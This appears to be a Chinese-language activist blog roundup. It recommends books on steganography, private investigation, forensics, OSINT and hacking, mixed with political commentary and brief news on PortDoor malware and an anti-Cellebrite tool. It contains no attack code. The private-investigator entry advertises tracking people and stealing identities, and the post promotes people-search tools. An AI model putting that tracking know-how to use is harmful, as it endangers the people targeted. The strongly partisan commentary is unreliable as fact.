偏执的恐惧使俄罗斯当局开了一个残酷的玩笑。克里姆林宫的宣传开始在一个已经分裂的社会中加速人们的攻击性和焦虑水平。关于美国的神话“他们无时无刻不在想要摧毁我们，他们的势力已经接近我们的边界”，已经实现了它的目标 —— 俄罗斯人感到焦虑，担心敌人发动的流血政变会破坏他们的和平生活。

而且，也许正是这种对新的停滞时代的不满，再加上源于焦虑的轻微神经症的结合，造就了一种非理性的愿望 ——“打破恶性循环”，检验威胁的现实，检验世界的力量，“先发制人的打击”。

当然，还有潜在的帝国野心，不惜一切代价为“我们的国家感到自豪”的渴望，对力量感的渴望 —— 所有这些都发生了，但在我看来，人性固有的破坏本能 —— 在旷日持久的不稳定局势中 —— 发挥了重要作用。

在俄罗斯的情况下，这种不稳定性是人为造成的，它不断维护着来自外部的、看不见的却被认为迫在眉睫的威胁、危险的错觉。

由于没有真正的危险，这种虚拟的威胁是无法抵抗的，只会加剧压力。

同样，在奥巴马领导下的美国社会，不满情绪很高。许多人不愿意看到那些没有工作的人获得很多社会保障，这剥夺了他们寻找工作的动力。年龄较大的美国人对爱国主义让位于政治正确性感到不满。尤其是，惊人的全球性监视和持续不断的战争导致该国正在失去其世界领导者地位的事实。

在恐怖袭击不断增加的背景下，社会已经产生了严重的焦虑和不安全感 —— 与俄罗斯的情况不同，在美国，这种感觉不是想象出来的，它是绝对真实的。

人们普遍认为政府不会有适当的回应，只会加剧无望感。似乎越来越多的不满情绪加上焦虑，在某些美国人中唤醒了与俄罗斯人相同的感觉 —— 从心理上摆脱这种持续不适的需要。

其实人们想要的只是“改变现状”，“逃跑，跳下悬崖”、打破规则以迅速找到出路的愿望。特朗普能够凭直觉把握选民的这些情绪，特朗普完全符合他们“用心投票”的需要。

这就是为什么特朗普赢得了2016。

而本次大选则不同，直接行动作为打破两党格局的第三种选项获得了突破性的支持度，人们说 “不论谁赢得了大选，我们都应该知道此人不会真正给予我们想要的东西，我们的愿景应该我们自己动手实现”。

拜登粉和特朗普粉并无本质区别。你能做的最好的事就是走出 「 忍耐还是破坏 」 这个被圈定的选择题。“大洪水“后不会是你想要的新世界，新世界的建造需要每个人的努力。您知道，我想说的不只是美国和俄罗斯 ……

18、《Investigator’s Guide to Steganography》

「 图 」

在眼皮底下消失——

「 图 」

通过改变人们看到的图像和视频 / 听到的音乐 / 甚至读到的文字本身，将信息隐藏在众目睽睽之下，这已成为一个价值数百万美元的产业，即 隐身术。

关于隐写术的信息已经非常多，但是这些信息通常都是非常具体的和技术性的，很少涉及如何适应更大的现实状况。

这本书则是不仅思考隐写术技术，而且思考隐写术的背景。任何对隐写术感兴趣的人都可以使用这本书，不论是您希望逃避监视审查的互联网用户、还是采取游击队战术中的活动家。

隐写术与密码学不同，密码学是 “让你不知道那是什么”，而隐写术是 “让你不知道这里面存在另一些东西”。

📌 显然，隐写术更实用，尤其是在那些警察可以胡作非为刑讯逼供的国家里，您最好的策略就是，让他们不知道这里面还藏着东西，他们就想不到逼你说出来。

并且您可以将隐写术和密码学结合使用，不仅包括给隐藏其中的东西加密，并且，就如我们曾经建议过的那样，在加密的通信里面使用隐写术—— 这一原理在于，没有人会想得到暗房里面还有另一个暗房。

在下面回顾我们曾经对隐写术的介绍：

- 《隐写术的小心机（1）》
- 《使用隐写术发送秘密消息（2）简易教程》
- 《如何在文本中隐藏秘密消息—不是在图片和音频中，是在文本中：隐写术（3）》

这本书是对隐写术比较全面的解说，能帮助您更深度了解这种用法。不要忘了发挥创意！您可以根据您所处的实际状况制定出最有效的防御策略。

下载：https://t.me/iyouport/7738

下载：https://www.patreon.com/posts/40044976

19、《National Security Cinema: The Shocking New Evidence of Government Control in Hollywood》

「图」

如果你能操纵叙事，你就能操纵人们的认知，如果你能操纵人们的认知，你就能操纵整个世界——

「图」

记得很多年前，和一些中国朋友交流中他们告诉我，他们不看美剧，而是更喜欢英剧和德法作品。当时感觉很惊讶，这与我个人此前通过媒体看到的对中国的介绍完全不同—— 那些媒体认为是美国影视作品在中国 “获得了最大的成功”。

我问他们为什么，他们说 “美国太主流价值观了”。这个感悟非常厉害。

也许热爱英剧而不是美剧的中国观众依旧是小众的，至少我们能从一些数据上证实这点；但是，上述这些观众的存在的确说明了中国观众并不完全是政治宣传的牺牲品，走出 **Matrix** 还是有希望的。

📌 今天我们将一次性上传两本书，它们都来自常年的调查以及对解密文件的分析论述—— 那些当权者曾经拼命隐藏的东西；它们都能证明上述那些中国朋友的感受是正确的。

此前我们曾经上传过另一本书，是描述中国共产党如何将文艺作品作为操纵叙事的武器，您可以在这里回顾：《电影是一种载体，有时，它负责承载那些有钱有权的家伙们想要缝入大众脑子里的东西 》https://www.patreon.com/posts/dian-ying-shi-yi-38161195

而今天这两本书将说明，在没有 “广电总局” 的环境下，政府维稳部门和间谍机构如何将文艺作品作为操纵叙事的武器—它们曝光了诸多隐秘的控制手段。

👀 中国读者会在其中看到很多您可能熟悉的电影电视作品的案例——关于其幕后如何被操纵的惊人事实，它们包括并不限于下面这些（我们写下这些作品的中译名）：

24小时、国土安全、海军罪案调查处、变形金刚、动物农场电影版、1984电影版、雷霆万钧、秃鹰三日、壮志凌云、爱国者游戏、碟中谍、伯恩的身份（谍影重重1）、新兵、卢旺达酒店、阿凡达、超时空接触、王国、联航93号、钢铁侠、斯诺登电影版 …… 等等还有更多。

这两本书揭露了几乎所有电影公司的惊人内幕，比如，您知道好莱坞 “充满了政府间谍” 吗？为什么《斯诺登》的电影拿不到投资？电影业的最高层中有多少人是政府线人？那些著名的影视巨星如 汤姆-克鲁斯、丹·艾克罗伊德、迪恩·凯恩、威尔·史密斯、克莱尔·丹尼斯、凯文·贝肯、帕特里克·斯图尔特、迈克·梅尔斯 …… 等等，他们与政府间谍的关系是什么？……

也许您看完这两本书后再重新观看那些电影，会有一个不同的认识。

（📌 下载电影种子的搜索引擎列表在这里看到：https://www.patreon.com/posts/39998977 ）

两本书是：

1、《National Security Cinema: The Shocking New Evidence of Government Control in Hollywood》

2、《Reel Power: Hollywood Cinema and American Supremacy》

我们将在几天后的文章中引述这两本书，以及其他书籍和资料。

您可以在这里下载：https://t.me/iyouport/7758

下载：https://www.patreon.com/posts/ru-guo-ni-neng-40002295

20、《I, Spy: How to Be Your Own Private Investigator》

「图」

做自己的私家侦探——

「图」

您有没想过做自己的私家侦探？

有人借钱不还时，您想要追踪到那个人吗？或者，您想要知道新女友是不是真的单身？再或者您想要了解一个人的阴暗面吗，以拿住其把柄为您所用？……

不，等一下，上述这些都不是我们关心的主题。

还记得IYP的《完美隐身》系列吗？它就来自专业的私家侦探对追踪和反追踪的经验技巧。而今天准备介绍的这本书是另一个角度——教您做自己的私家侦探。

【“完美隐身” 系列在 列表-1 中有单独的板块：https://start.me/p/xbYXdR/iyp-1】

📌 您能从这本书中学到追踪调查的基本完整的技巧；从在线到现实。【关于在现实中反侦查技巧的中文内容也包含在上述 列表-1 中】于是您可以使用对抗性思考方式，以做出更好地反追踪策略。

当然您也的确可以用这些方法来追踪调查任何您想要的人，比如监视您的警察线人？……

世界著名的私家侦探 Dan Ribacoff 将向您展示如何做到这点。您将了解到：

- 监视和反监视的注意事项；从物理监视到数字监视
- 如何跟踪目标人，从穿什么到携带什么
- 如何追踪任何地方的人
- 如何收集证据和分析证据
- 如何判断某人是否在撒谎

- 如何利用线人
- 如何保护您的房产和贵重财产
- 如何知道您是否正在被跟踪
- 如何盗取他人的身份
- 如何保护同伴 ……

以及更多内容。

📌 这些技巧对于处于敌对环境中的人们来说会非常有用—— 比如 不得不躲避政府间谍和线人的异议人士和活动家、游击战中的行动者、任何警察国家的公民。

在这里下载这本书：https://t.me/iyouport/7763

下载：https://www.patreon.com/posts/zuo-zi-ji-de-si-40050532

21、涂鸦的政治，政治的涂鸦——

「图」

酷刑、黑监狱、强拆、混乱的内战、维稳的内幕 …… 这些信息有可能是永远都不会被人们知晓的，除非有英勇的举报人冒着生命危险揭露他们。但是，针对透明度革命的打击狂潮如今在全球爆发，“等待英雄” 的人们也许会面临越来越多的失望。

我们可能需要找到另外一种途径，作为辅助；并且，已经有人做到了这点。

以涂鸦、标签、甚至元数据作为政治信息，您将能够发现大众传媒中无法找到的更为深层的故事。

📌 这就是符号学在开源调查中的作用。

探讨或解读符号和标志的含义并不是一个新领域。对于那些在绘画、雕塑和建筑等领域研究图像学的人来说，这个技巧应该是很熟悉的。它也是考古学、民族志、社会学和其他领域研究的重要组成部分。

警察和间谍也很擅长这手，他们的追踪调查往往都会依赖于对目标组织或个人相关的视觉语言的理解，例如：纹身、织物上的图案和符号、社交媒体标签、表情符、和其他视觉标记在身体或物品上呈现的方式。

人们在日常生活的几乎所有方面都依赖符号。购买标有符号和标签的产品，以帮助您选择消费什么；使用贴纸、徽章、T恤、和其他形式的标记来定义我们更广泛的身份和政治立场等等 …… 在不同的职业中，从林业到工程、再到军队，这种使用都是极为常见的。

人们使用视觉代码对事物进行分类、登记或掩饰它们的来源，标记领土、区分功能或传达特定的信息—— 这些信息通常可能是抵抗运动的动员或对时政的评述性信息。

想一想标签、标牌和画上的标记，以及表情符号、**ASCII**码、**meme**、甚至是图标。

📌 符号和标志构成了一种更广泛的交流形式，超出了单纯的文字范围。

一方面，一个单一的符号可能意味着很多东西，但它也可能在特定的环境中被误导或毫无意义。

另一方面，当符号累积起来的时候，它们可以改变我们对它们所代表或象征的东西的理解，特别是当它们加起来形成某些视觉模式或叙事时，可以告诉您一些您无法看到的故事。

📌 它们可以帮助您定义行为者，他们的角色，甚至他们的意图。

然而，虽然在各种类型的视觉材料之间找到相关性相当容易，但相关性并不是因果关系的证明或保证。

📌 您需要根据符号和标志背后的模式、联系或隐藏的含义，特别是在其原始语境中，找到多种方法来验证假设。

👌 这点在追踪调查方面尤其如此；比如——

- 您知道这个符号代表哪种政治观点吗？
- 那个徽章意味着什么样的隶属和权力关系；
- 那些间谍的秘密行动在用纳税人的钱做什么？
- 哪些人是肮脏的维稳黑手？

……

👌 挖掘那些深度隐藏的秘密任务和行动，正需要通过这种“意想不到的”途径。

这里是两份材料，准确说是两份研究成果：

- 《CIA Torture Unredacted—An Investigation into the CIA torture programme》
- 《I Could Tell You But Then You Would Have to be Destroyed by Me: Emblems from the Pentagon's Black World》

从标题中您就可以看到，这是对政府间谍机构最深层的挖掘。没有人能控制这些间谍机构，包括总统和国会，都无法监督他们。他们只要声称“国家安全”，就可以把任何监管拒之门外。只要说出这个词，就没人能去调查他们。于是这里没有任何正式的、合法的、或直接的方式来探讨这些问题—— 您需要一些偏门办法。

偏门是什么？就是利用人性的基本弱点：虚荣心、归属需求、和荣耀感……

📌 如果您的调查目标涉及政府机构严重不透明的领域，这些“偏门”就非常重要了。

我们将在明天发布一份综合指南，现在上传的两份资料将被引用。

您可以在这里下载：https://t.me/iyouport/7772

下载：https://www.patreon.com/posts/tu-ya-de-zheng-40231998

👆 这本书现在有了中文版！ Shoshana Zuboff 的《监视资本主义时代》；

IYP 有一个单独的列表名为“监视资本主义的世界”，其中收集的内容都可以帮助您了解这场斗争应该从哪里施加力量：

https://start.me/p/RMQrDD/iyp-2

英文版在这里：https://t.me/iyouport/7780

中文版在这里：https://t.me/iyouport/7782

如果您没有telegram，在这里下载两个语种的版本：https://www.patreon.com/posts/43280652

就是这样！10月还没有结束，本次汇总中漏掉的月末内容将在下一次汇总中出现。希望您能找到自己最感兴趣的书籍。〇

—— 持续更新中 ——

原文

IYP优秀书籍汇总2021（05 ~ 06 月版）-完全免费下载 - iyouport

免费书和纪录片

本系列在双月的月底更新

所有内容均免费公开。在本站点搜索 “IYP优秀书籍汇总” 您可以找到2019年以来的过往内容。

来看看本次汇总中有没有您感兴趣的内容？

《Digital Media Steganography: Principles, Algorithms, and Advances》

「图」

升级隐写术——

我们已经多次介绍过隐写术，比如这里、这里、还有这里，以及推荐过相关书籍，在这里。

但是和每一种反监视技术一样，它们永远都处在一种猫鼠游戏的状态下—— 如果您跑得不够快、更新得不够及时，猫就会扑上来。

众所周知，这个互联网和所谓的云都是集中化的，这就令私密数据和机密数据的传输处于非常不安全的状态下，再加上由于物联网和人工智能等技术产生的新威胁，因此，确保通过这些介质进行的信息传输尽可能安全可靠，已成为数据安全领域中最重要的问题之一。

尽可能避免未经授权的信息获取是主要的研究方向，隐写术就是解决方案之一。隐写术作为一种秘密通信技术，旨在将秘密消息隐藏在正常的消息中，以实现最低程度的统计可检测性，尤其是，在通信期间不容易引起怀疑。

隐写术与其他数据安全技术（加密和水印）不同。例如，加密是通过

隐藏消息的内容，把它变成一堆乱码，而隐写术则是隐藏消息本身存在的事实；从广义上讲，作为一种旧的数据安全技术，水印和隐写术彼此间具有一些共同的特征，但是从根本上说，它们是完全不同的东西。

今天上传的是2020的新书。这本书旨在为研究人员、学者、研究生、可能正在学习相关主题的高级课程的本科生、以及专业人士提供有关数字媒体隐写术（即图像、视频、文本和音频数据）的相关知识。它旨在作为一本全面的参考书，为您提供有关隐写术主题的最新技术的鸟瞰图。

此外，这本书还介绍了多种新方法，例如量子隐写术。还讨论了隐写术和隐写分析中深度学习的使用。每章都包含参考书目，可以为您深入研究和进一步探索该主题提供一个良好的起点。

下载：https://t.me/iyouport/8253

下载：https://www.patreon.com/posts/sheng-ji-yin-xie-46320573

《A Practical Guide to Digital Forensics Investigations 2nd Edition》

「图」

数字取证实用指南新版——

我们此前多次介绍过数字取证，不论是文章还是推荐的书籍，比如《取证学》、《人脸识别取证和定罪》、《手机安全和取证实用方法》等等，都是为防御的目的，即：从专业的角度帮助您了解警察会怎么做，您就能知道应该重点堵住哪些漏洞了。

当然，这套技术完全可以用在正义的目标上，比如公民调查犯罪和揭露恶行，这是很好的直接行动方案；前提是您能做到足够精通。

今天这本书也一样，它是2020新版，有很多新的技术、工具和思考方式，是数字取证领域的权威指南。

新版的每一章都进行了修订，以反映更新的技术、最新的挑战、技术解决方案和最新的法院判决。增加了可穿戴技术、物联网取证、5G通信、车辆取证、和移动应用取证（云取证）的详细内容；事件响应的进展；以及新的 iPhone 和 Android 设备破解技术。通过实践活动、

现实的例子和引人入胜的案例研究，您将建立动手能力，“进入”当今发展最快的领域。

上述这些领域我们大多有过中文介绍，比如物联网取证，见《你家冰箱如何作为呈堂证供？》；车辆，见《小心你的汽车变成间谍：如何从联网汽车中删除个人隐私数据？》；移动应用程序，见《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》。

在这本书中您将学习到：

- 数字取证的工作内容、警察所处理的证据以及他们可利用的机会；
- 探索现代设备的特点如何影响证据收集，并使用各种工具进行调查；
- 建立经认证的取证实验室，实践管理和处理证据的最佳做法；
- 在线收集数据，调查当今复杂的任何目标人和群体行为；
- 及时发现危害指标，掌握事件应对的最佳战略；
- 用数字证据调查金融欺诈；
- 使用数字照片证据，包括元数据和社交媒体图像；
- 调查可穿戴技术和其他物联网设备；
- 学习从许多iPhone中提取完整文件的新方法；
- 从流行的应用程序中获取大量数据和实时情报；
- 遵循严格的规则，使证据可被接受，即使在最高法院裁决之后也是如此。

……

再一次，开源情报及其中心技术—社交媒体情报，是贯穿数字取证技术的核心武器。

下载：https://t.me/iyouport/8258

下载：https://www.patreon.com/posts/shu-zi-qu-zheng-46605640

#搜索工具

一个新的搜索引擎，帮助您在GitHub存储库中进行搜索。在这里，您可以直接用正则表达式进行搜索以提取所需的确切信息：https://grep.app/

《The Cybersecurity Body of Knowledge: The ACM/

IEEE/AIS/IFIP Recommendations for a Complete Curriculum in Cybersecurity》

「图」

网络安全的系统性基础指南——

这是2020的新书，它详细解释了界定网络安全学科边界的八个知识领域的内容、目的和用途。并以每个知识领域的基本概念为驱动力，这些概念共同构成了网络安全知识体系，提供了该领域的完整图景。

这本书基于一个全新的、迄今为止独一无二的、全球性的倡议，即CSEC2017，该倡议由 ACM、IEEE-CS、AIS SIGSEC 和 IFIP WG 11.8 共同创建并认可。这对网络安全学科的每一位教育工作者都有实际意义。

由于这套知识体系的具体内容无法在单一文本中传授，作者提供了必要的全面概述。从本质上讲，这是网络安全综合领域的入门级调查指南。它将作为个人以后钻研某个感兴趣的特定领域的路线图。

8个领域包括：

- 数据安全
- 软件安全性
- 组件安全
- 连接安全
- 系统安全
- 人的安全
- 组织安全
- 社会安全

所有方面都很重要，缺一不可。

3位作者：

Dan Shoemaker 博士是底特律大学网络安全和情报研究中心的全职教授、高级研究科学家和项目主任。Dan 也是网络安全与信息系统系的前任系主任，并撰写了许多专注于网络安全的书籍和期刊文章。

Anne Kohnke 博士是网络安全副教授，也是底特律大学防御学术中心的首席研究员。Anne 的研究主要集中在网络安全、风险管理、威胁

建模、和缓解攻击方面。

Ken Sigler，硕士，是密歇根州奥克兰社区学院奥本山校区计算机信息系统（CIS）项目的教师。Ken 的研究领域是软件管理、软件保障和网络安全。

下载：https://t.me/iyouport/8264

下载：https://www.patreon.com/posts/xin-shu-wang-luo-46740834

《OPEN SOURCE INTELLIGENCE TOOLS AND RESOURCES HANDBOOK 2020》

「图」

2020开源情报工具和资源手册——

我们一直在做 “新生情报工具” 系列，以便更新失效的工具、并补充新的和更好的资源，但这是很散碎的工作，您可能不容易查找和进行对比。而今天我们上传的这本书将帮助您更好地系统性掌握 **最新的** 开源情报工具和资源。

鉴于网络上战略地形不断变化的速度，有些人可能会质疑将这样的资源整合在一起的做法，但这样的质疑不够前瞻性。作者提供了4个理由：

首先，入围的工具资源名单背叛了开源情报实践的范围。 开源情报曾经仅仅是在国家情报部门工作的情报分析师的 “自留地”，而现在，新闻、网络安全、投资研究、危机管理、人权组织、NGO组织、公民活动家社区等大多数领域的专业人员都在使用它。有限的工具包永远无法满足所有这些需求；

我们具体解释过这件事，以及注意事项，见《这不是一场竞技表演：关于IYP为什么要采取开源情报》。

其次，优秀的开源情报从业人员肯定是乐于使用不同工具、资源和收集战术的人。 开源情报必须抵制狭窄专业化的诱惑，为什么？因为任何一项研究都需要首先有一个干净整洁的大目标，没有比您的调查需求更重要的事了；

第三，良好的工具意识就等同于良好的情报源意识；正确的工具可以

确定您是否收集到了正确的信息。因此，您的调查过程中拥有的工具越多，您的开源情报实践就越灵活。

最后，这本手册的编写过程本身就是一项情报活动，提醒开源情报社区所处的位置以及未来可能面临的挑战—— 尤其是在虚假信息泛滥、互联网巴尔干化、利基社交媒体平台崛起，以及迫切需要更好的工具来监视和分析它们提供的内容。

📌 希望这份手册可以帮助您弥补情报收集工作中的所有空白，并提醒您注意可参考的许多工具和资源，以获取更好的情报，包括开源情报本身的知识。

这份手册肯定不会追求完整性，因为每时每刻开发者社区都可能会弹出新的创作；相反，它追求的是工具足够有效、资源足够新，以全面服务于您的调查需求。

无论如何，通常都需要注意：尽管编写者已尽一切努力测试和验证了这些资源，但依旧要提醒您，今天的奇迹工具可能就会成为明天的安全责任；因此，每当测试新脚本、应用程序或浏览器扩展时，*请在安全的环境中进行测试*，以最大程度地降低资产或操作的风险。

现在就开始吧。

下载：https://t.me/iyouport/8270

下载：https://www.patreon.com/posts/2020kai-yuan-bao-46812293

《The Complete Guide to Hacking》

「图」

2021新书：黑客入侵完整指南——

基本不必详细介绍了。您一定知道 “新书” 意味着最新的技术能力，以及，“黑客” 意味着安全防御和行动主义。

是的，它包含这一切。在这里，您完全可以从新手开始，直到精通。

下载：https://t.me/iyouport/8273

下载：https://www.patreon.com/posts/2021xin-shu-hei-46904242

1. tools 对人进行调查是开源情报的一个重点。goFindWho是一个搜索平台，导航菜单按姓名、用户名、电子邮件地址和电话号码等类型进行分组查询，也就是使用的开源情报针对人员追踪的标准框架，包括跨平台追踪。当然，结果依旧取决于您的目标人的公开程度有多高，但这个框架是科学的：https://gofindwho.com/
2. tools IPinfo.io 已经发布了他们的官方命令行工具，用Go语言编写。该工具使您能够检索一个IP地址的信息，或批量检索，并有大量的选项可以将结果导出为不同的格式，包括地图。

除此之外，它还提供了一个类似于 “grep” 的工具，可以在您扔给它的任何人类可读文件中找到IP地址。只需要免费账户，您就已经可以每月检索50,000个IP地址的信息了：https://github.com/ipinfo/cli

是谁盗取了俄罗斯机密的武装潜艇图纸？

「图」

据称被怀疑为中国政府工作的骇客利用一种名为PortDoor的新恶意软件，渗透到一家为俄罗斯海军设计武装潜艇的工程公司的系统中。

骇客使用了专门制作的鱼叉式网络钓鱼电子邮件，引诱该公司的总经理打开一个恶意文件。

攻击者的目标是位于圣彼得堡的红宝石海上工程中央设计局(RUBIN)，这是一家设计俄罗斯大部分核潜艇的国防承包商。

攻击方法是在发给该公司首席执行官 Igor V. Vilnit 的电子邮件中附上了一个武器化RTF文件。攻击者用对自主潜水器的一般描述诱使收件人打开恶意文件。

该RTF文件已被使用RoyalRoad武器化，RoyalRoad是一种用于构建恶意文件的工具，可利用微软方程式编辑器的多个漏洞。

RoyalRoad的使用在过去与多个代表中国政府工作的威胁行为者有关，如Tick、Tonto Team、TA428、Goblin Panda、Rancor、Naikon。

但是，鉴于中国和俄罗斯在下一代常规动力潜艇上很可能进行的合作，如果确认此次攻击来自中国，显然会破坏这些合作关系。

这里对骇客泄露的图纸有一些简要的分析，熟悉武器的朋友可以进一步研究：http://www.hisutton.com/Russian-AUV-of-interest.html

不论如何，这件事足够证明俄罗斯军事承包商的组织安全培训严重不合格。

抵制全球最流行的警用移动设备取证工具

「图」

如果您被捕，警察会在第一时间破解您的手机，以寻找其中可以操纵您和/或给您定罪的信息。无需质疑，全世界的警察都会这样做。

这就是为什么如何防止警察抢手机，成为了当前最热门的技能之一——尤其是对参加抗议活动的人来说，因为行动者更有可能遭遇强行抢手机的状况。但是在一些国家，比如中国，如果您因为社交媒体帖子而被带到警察局，您也有可能遭遇强行检查手机。虽然不确定。

我们因此发布过“如何设置安卓手机以防警察”、“如何设置iPhone手机以防警察”，以及其他对警察“查手机”的技术分析和防御方法。

现在，安全公司 KoreLogic 的研究人员 Matt Bergin 开发了一个软件，以帮助您阻止全球最流行的、也是最容易被篡改证据以栽赃一个人的警用移动设备取证工具 Cellebrite：当警察试图破解您的手机时，它会自动擦除一切数据。它在上周的“2021亚洲黑帽大会”上展示了它的发明。

这是仅适用于安卓手机的。

虽然现在您无法从Google Play商店或任何其他第三方市场下载它，但您可以从 GitHub获取代码：https://github.com/mbkore

有资源和精力的人可以使用该代码将其重新打包到一个功能强大的应用程序中。

【注】Cellebrite 是以色列数字取证公司，它的客户包括：白俄罗斯、俄罗斯、委内瑞拉、中国、缅甸军政府、土耳其、阿联酋、孟加拉的行刑队，英国、美国、以及德国、丹麦、奥地利、挪威、比利时等很多国家。

更多内容：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

《Snowden’s Box: Trust in the Age of Surveillance》

「图」

你信任我吗？ ——

这可能是个极为艰难的问题。尤其是在当今这个时代。

几年前IYP给活动家推荐安全的技术工具时，有读者留言：“我如何才能知道你推荐的工具不是在钓鱼（间谍软件）？” 我们推荐的是开源自由软件，您可以通过源码看到它们具体在做什么，虽然不是每个人都能读懂源代码 …… 但这个问题本身非常值得思考—— 关于，我们是什么时候开始 “走散” 的。

这不是小事。

3年前，IYP发布过一份分析：《为什么我们互不信任？》。国家监控使公民之间的关系变得非常脆弱。人们变得小心翼翼，因为持续的压力而疲惫不堪。最终，人们会相互对立。

📌 信任是自由社会中所有合作行动的基础，它是让人们能够敢于冒险和发展同伴关系的基础感觉。它也是民主的根基。而它是如此的脆弱、容易被破坏。大规模的国内间谍系统—— 就像斯诺登所揭露的那样—— 对滋养信任和协作的那种深厚的人际关系具有强大的破坏性。

信任是这个世界的粘合剂，是文明与混乱的区别。它让人们在任何形式的合作行动中走到一起，从社会反抗运动到婚姻关系和各种市场。

当一个具有公民意识的社区的成员彼此之间分享信任时，信任是唯一能够遏制国家权力的东西。

这是一本新书，明天我们将发布这本书的中文书评《斯诺登的盒子：在监视时代的信任》（明天就可以打开了）；我们认为这本书的议题

非常重要，它关系到如今每个人的切身利益和人身安全。于是我们将它作为单独文章呈现，而不是塞入书籍汇总。

您现在可以在这里下载。别忘了明天阅读我们的书评:)

下载：https://t.me/iyouport/8292

下载：https://www.patreon.com/posts/ni-xin-ren-wo-ma-46829550

《Machine Learning With Python For Everyone》

「图」

Python 机器学习，从0开始掌握 ——

这本书将帮助您掌握构建有效的机器学习系统所需的过程、模式和策略，即使您是绝对的初学者，也将很容易可以使用这本书。

如果您会写一点 Python 代码，这本书就是为您准备的，无论您对大学水平的数学了解多少。

作者 Mark E. Fenner 依靠通俗易懂的故事、图片和 Python 实例来传达机器学习的理念。他首先讨论了机器学习是什么和它能做什么；以平易近人的方式介绍了关键的运算和计算主题；并引导您完成构建、训练和评估机器学习系统的第一步。

依照这本书的步骤渐次提升，您将继续完成一个实用的机器学习系统的组件，拓宽您的工具箱，并探索一些该领域最复杂和令人兴奋的技术。

无论您是学生、分析师、计算机科学家还是业余爱好者，这本书的见解都将适用于您曾经构建或使用的每一个学习系统。

- 理解机器学习算法、模型和核心机器学习概念；
- 用分类器对实例进行分类；
- 用回归器对实例进行量化；
- 切实评估机器学习系统的性能；
- 使用特征工程将粗糙的数据转变为有用的形式；
- 将多个组件链入一个系统，并调整其性能；
- 将机器学习技术应用于图像和文本；
- 将核心概念与神经网络和图形模型联系起来；
- 学会使用 Python scikit-learn 库和其他强大的工具 …… 等等，

还有更多知识。

下载：https://t.me/iyouport/8303

下载：https://www.patreon.com/posts/python-ji-qi-xue-47360042

历史真相和今天的反抗斗争

「图」

鉴于最近几天的新闻热点暴露了很多中国网友对以色列和巴勒斯坦存在严重的误解（尤其是一些著名的中国社交媒体博主的无知，令人惊讶），我们一次性上传11本书，以帮助感兴趣的中国朋友理解这件事——

为什么这场冲突瞬间激发了全球性的联合反抗行动？

为什么历史就摆在那里，却依然有很多人不了解事实？

全球最大的新闻媒体在制造这种误解中扮演的是什么角色？

以及对现代反抗斗争的分析和思考，您的国家也用得到的知识。

感谢积极的中国朋友对此的推荐。

1、巴勒斯坦抵抗运动的民族志：人体炸弹是怎么来的？了解以色列国家暴力及其影响，和巴勒斯坦人的特定反应。

2、变革的难民：了解巴勒斯坦流亡者如何在多重高压环境中形成独特的身份。

3、人权的兴衰：了解巴勒斯坦人权产业为什么会失败：从曾经的反侵略的斗争工具变成了现在被嘲讽的对象，全球其他国家的人权工作应该吸取什么教训？

4、批判的帝国：跨国的进步运动如何才能平衡多重战线的解放斗争？

5、道德的三角关系：德国人、以色列人和巴勒斯坦人—迁移、创伤和当代国际关系总是互相影响的，人们如何才能寻求恢复性正义？

6、背后的故事：新闻中经常宣称“以巴冲突”来暗示以巴双方“是势

均力敌的对话”，事实上完全相反。这本书揭露了美国新闻生产中是如何故意掩盖巴勒斯坦真实状况的，人们如何被这些媒体所误导。

7、视觉占领：展示了以色列对巴勒斯坦的占领是如何被不平等的视觉权利所驱动的，或者说是—— 控制人们可以看到什么、如何看、以及从哪个位置看的权利。一群艺术家创造了一种通向克服以色列对巴勒斯坦人的军事化统治和压迫来看待事物的新方式

8、我的声音就是我的武器：通过对音乐、音乐家、反抗歌曲和大众文化进行分析和重新审视，以构建传统意义上的巴勒斯坦危机史。从以色列建国者如何与奥斯曼帝国、俄国沙皇和德国皇帝的勾结开始讲述，直到现在

9、残害的权利：以色列根据历史和地缘宣称它有 “屠杀的权利”，而这本书呼吁读者关注与之平行的另一套生命政治逻辑，即 以色列对巴勒斯坦人的殖民统治战略—让巴勒斯坦人保持活着却无时无刻都会陷入被伤害的虚弱状况，进而达到其治理的主权目的。

尤其是，这本书对比了世界上其他国家的种族主义警察暴力，显示它们是如何地异曲同工。

10、浩劫：纳克巴日的来源。纳克巴Nakba在阿拉伯语中是 “浩劫“ 的意思，那是以色列独立日的第二天，也是以色列武装力量毁灭巴勒斯坦村庄进行恐怖屠杀的日子。这本书为人们的记忆赋权，为巴勒斯坦人对当代社会正义的追求提供支点。

11、屏幕快照：相机如何作为政治工具。

相机在包括巴勒斯坦活动家、以色列士兵、犹太定居者和人权工作者在内的广泛的行动者和机构之中激增。所有人都将镜头对准了以色列的国家暴力，并被一个共同的梦想所驱动：以更近、更快、更清晰为特征的数码摄影将推动 *他们各自* 的政治议程。

但是，大多数人会感到失望。这份民族志调查记录了寻求正义的巴勒斯坦视频活动家（video-activists）、努力完善军队形象的以色列士兵，以及指责巴勒斯坦人“装死” 的犹太复国主义阴谋论者。

它反驳了技术乐观主义，通过揭示相机的梦想和幻灭，这本书呈现了以色列和巴勒斯坦的殖民现状，以及智能手机时代权力和斗争条件的变化。

下载11本书：https://www.patreon.com/posts/51313955

《Resisting Neoliberal Capitalism In Chile: The Possibility Of Social Critique》

「图」

对抗新自由主义资本主义的斗争——

3月我们发布过一篇文章《新自由主义的香港向世界讲述了一个什么样的故事？》，这不只是为了分析香港问题的成因和可能解决方案，更主要的是，以香港为例，对全世界的新自由主义资本主义的政治和经济前景进行审视和思考。

垄断和严重的不平等、巨额债务、天价住房、看不到未来的年轻一代、创业变成了灾难 …… 香港的确是一个典型，但是，如今全世界都是如此，伯尼·桑德斯将其称为新的威权主义轴心。强人政客利用分裂来加强对权力的控制，进一步实现经济集中和财富积累。世界各国的领导人不仅越来越多地颁布专制措施来巩固自己的权力—— 从废除民主规范到扼杀新闻和言论自由—— 而且，还利用国家来创造有利于某些经济利益的条件。

📌 香港的抗议运动无疑必须带来鼓舞，但也必需带来思考，关于我们如何才能赢得这场对战新自由主义资本主义的斗争。

我们今天上传的这本书是和香港一样的另一个案例：智利。这是2020的新书，这本书审视了最近在智利领导社会和政治抗争的两个社会运动，不仅展示了这些运动如何在实践中体现批判性，而且还借鉴这些经验来审视社会批判的理念本身。

